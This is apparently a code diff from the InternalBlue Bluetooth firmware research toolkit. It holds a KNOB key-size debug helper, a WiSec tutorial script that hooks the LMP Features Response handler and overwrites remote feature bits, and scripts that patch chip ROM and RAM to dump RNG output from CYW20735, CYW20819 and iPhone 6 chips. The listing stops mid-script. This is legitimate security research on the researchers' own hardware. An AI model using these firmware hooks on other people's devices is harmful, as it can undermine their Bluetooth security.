@cmd2.with_argparser(knob_parser)
def work(self, args):
"""Debugs which key length is currently active within a connection handle."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+88
View File
@@ -0,0 +1,88 @@
#!/usr/bin/python3
"""
WiSec 2021 tutorial example by Jiska Classen.
Hooks into LMP handler for Remote Feature Results and overwrites features.
"""
# imports for ADB and HCi core
from internalblue.adbcore import ADBCore
from internalblue.hcicore import HCICore
# imports for calling InternalBlue CLI
from internalblue.cli import InternalBlueCLI
from argparse import Namespace
import sys
# imports for our own script/hooks
from time import sleep
from pwnlib.asm import asm
from internalblue.utils.packing import u8, u32, p32
import binascii
internalblue = ADBCore()
try:
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
except IndexError:
internalblue = HCICore()
try:
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
except IndexError:
internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
exit(-1)
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
progress_log = internalblue.logger.info("Connected to first target, installing patches...")
LMP_PATCH_FEATURES_RES = 0x218000 # free RAM to write our own patch
LMP_FUNCT_FEATURES_RES = 0x0632EA # lm_HandleLmpFeaturesResPdu implementation
LMP_CMD_PTR = 0x20AB74 # lm_curCmd
LMP_PATCH_ASM = """
// restore first 4 bytes of lm_HandleLmpFeaturesResPdu
push {r4, lr}
mov r4, r0
// use r0-r1 locally
push {r0-r1, lr}
// overwrite features
ldr r0, =0x%x // lm_curCmd
add r0, 0x4 // lm_curCmd + 4
ldr r0, [r0] // &(lm_curCmd + 4) - this is the actual pointer to our payload
add r0, 0xd // LMP payload starts at 0xc with 1 byte opcode, 0xd is offset for payload
ldr r1, =0xcafebabe // overwrite features (hardcoded as of now)
str r1, [r0]
add r0, 0x4 // overwrite another 4 bytes (all features)
ldr r1, =0x0badf00d
str r1, [r0]
// restore original registers, branch to original implementation
pop {r0-r1, lr}
// go back to lm_HandleLmpFeaturesResPdu+4
b 0x%x
""" % (LMP_CMD_PTR, LMP_FUNCT_FEATURES_RES + 4)
# assemble our snippet and install it in RAM
code = asm(LMP_PATCH_ASM, vma=LMP_PATCH_FEATURES_RES) # branches are relative, we need to put the patches address here
if not internalblue.writeMem(address=LMP_PATCH_FEATURES_RES, data=code, progress_log=None):
internalblue.logger.critical("Could not write pre-hook for features result to RAM!")
exit(-1)
# patch the original function in ROM to branch to RAM
code = asm('b 0x%x' % LMP_PATCH_FEATURES_RES, vma=LMP_FUNCT_FEATURES_RES)
if not internalblue.patchRom(LMP_FUNCT_FEATURES_RES, code):
internalblue.logger.critical("Could not install Patchram entry to verwrite existing function!")
exit(-1)
# enter CLI so that we can still interact and see the connection request
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+233
View File
@@ -0,0 +1,233 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
Measure the RNG of the CYW20735 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* Launch_RAM is also broken on this one :D
"""
ASM_LOCATION_RNG = 0x217000 # load our snippet into Patchram (we need to disable all patches for this!)
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x500 # run this often (x5 bytes)
FUN_RNG = 0xA562E # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x24E66 // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x24E92 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x24C36 // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# CYW20735 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1425BC, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20735-randomdata-%irounds-0x500-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+249
View File
@@ -0,0 +1,249 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
"""
Measure the RNG of the CYW20819 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* CYW20819-specific patch: Launch_RAM crashes the chip, so we build
our own HCI handler.
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x219000
# 0x219000 crashed with 0x1000 in round 27
# 0x216000 looks emptier but crashed on first attempt
# memdump doesn't look so good in binwalk entropy, so we really don't have memory I fear
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x500 # run this often (x5 bytes)
# longer snippets (0x600) don't work! 0x500 works but is corrupted by other process.
FUN_RNG = 0xB2562 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1179E // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x117CA // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1156E // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
# internalblue.logger.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region at 0x219000
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20819-randomdata-0x500-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+249
View File
@@ -0,0 +1,249 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import binascii
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
Measure the RNG of the CYW20819 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* CYW20819-specific patch: Launch_RAM crashes the chip, so we build
our own HCI handler.
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x219000
# 0x219000 crashed with 0x1000 in round 27
# 0x216000 looks emptier but crashed on first attempt
# memdump doesn't look so good in binwalk entropy, so we really don't have memory I fear
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x100 # run this often (x5 bytes) .. worked with 0x500 in one run but then didn't in another
# longer snippets (0x600) don't work! 0x500 works but is corrupted by other process.
FUN_RNG = 0xB2562 # original RNG function that we overwrite with bx lr
PRAND = 0x3186A0 # the pseudo random register we want to benchmark
# !!! also uses either cache or HRNG even though the first check failed, and then the following 4 registers
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1179E // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x117CA // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1156E // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
# internalblue.logger.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG + 1)): # 0x219001
internalblue.logger.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region at 0x219000
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
# print the data as a demo
random = np.delete(random, np.arange(4, random.__len__(), 5))
randstring = binascii.hexlify(bytearray(random))
internalblue.logger.info([randstring[i:i + 8] for i in range(0, len(randstring), 8)])
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20819-randomdata_pseudo-0x500-%irounds-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+225
View File
@@ -0,0 +1,225 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.ioscore import iOSCore
"""
Measure the RNG of the iPhone 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* !!! Wi-Fi must be disabled by hand.
"""
# at 0x211000 we have 0x200 (but not 0x300)
# at 0x213000 we have 0x500 (0x700 broke after 39)
# at 0x212a00 we have 0xa00 (but not 0x1000)
# at 0x212800 we have 0xd00 (but not 0xe00) - not really if we look into dumpmem! its less
# at 0x212600 we got blockage, same at 0x212700
ASM_LOCATION_RNG = 0x212800 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x790 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x916BA # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x15DD4 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x573B8 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x581AE // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
exit(-1)
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i6_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+211
View File
@@ -0,0 +1,211 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.ioscore import iOSCore
"""
Measure the RNG of the iPhone 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* !!! Wi-Fi must be disabled by hand.
"""
# at 0x211000 we have 0x200 (but not 0x300)
# at 0x213000 we have 0x500 (0x700 broke after 39)
# at 0x212a00 we have 0xa00 (but not 0x1000)
# at 0x212800 we have 0xd00 (but not 0xe00)
# at 0x212600 we got blockage, same at 0x212700
ASM_LOCATION_RNG = 0x212800 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xd00 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x916BA # original RNG function that we overwrite with bx lr
PRAND = 0x200880
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x31FC34 agcStatus_adr
# 0x31FFA0 rxInitAngle_adr
# 0x31F8A4 spurFreqErr1_adr
# 0x31FD48 rxPskPhErr5_adr
# 0x200880 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x15DD4 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
